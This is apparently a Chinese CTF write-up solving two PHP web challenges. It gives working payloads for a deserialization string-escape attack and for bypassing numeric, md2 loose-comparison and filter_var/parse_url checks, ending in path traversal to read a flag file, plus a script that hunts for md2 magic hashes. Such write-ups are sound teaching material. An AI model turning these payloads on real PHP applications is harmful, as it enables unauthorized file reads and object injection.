比赛的时候和我朋友外出游玩,所以就做了一道web签到题,web3那个密码我写的脚本只能跑出
来31位,然后登陆不进去就没搞了,电竞酒店打了一晚上游戏。今天把剩下的两道题都做了出来,
这里记录一下。
打开题目
给了index.php的源码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
大致看了一下代码,发现我们只要将password的值设置为yu22x即可,但是接着往下看,看到了
$password=1,紧接着就开始进行序列化的操作,也就是说我们的password是已经默认为1了,我
们要做的就是将password=1替换为yu22x,看到了
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
应该就是反序列化字符串逃逸了。
分享个之前写的文章
https://cloud.tencent.com/developer/article/1740445
也就是说我们要在uname传入14个Firebasky,来达到逃逸
最终payload
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
打开题目看到源码,也给了提示robots.txt
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
然后开始代码审计吧,先看第一关
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
我们传入的变量要是数字,长度不能大于7,不能为0,但是变量a的平方要为0.所以我们可以构造一个特别小的数来绕过,比如0.00000000000000000000000000000000000000000001
这样的,但是对输入的数值有长度限制,可以用科学计数法
第一关可以用1e-254来绕过
接下来看第二关,第二关给了提示
忘记在哪次比赛了,见过一次md4碰撞的题目,这个是md2的,写脚本跑一下
<?php
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';
echo '0e'.$i.'024452'.PHP_EOL;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';
echo '0e'.$i.'48399'.PHP_EOL;
}
}
?>
payload
?a=1e-254&b=0e652024452&c=0e603448399
然后就第三关
绕过filter_var($argv1,FILTER_VALIDATE_URL),这里我列出来之前看到过的文章链接
https://www.anquanke.com/post/id/101058/
php遇到不认识的就会当目录处理
payload
url=a://ctfshow.com/../../../../../../../fl0g.txt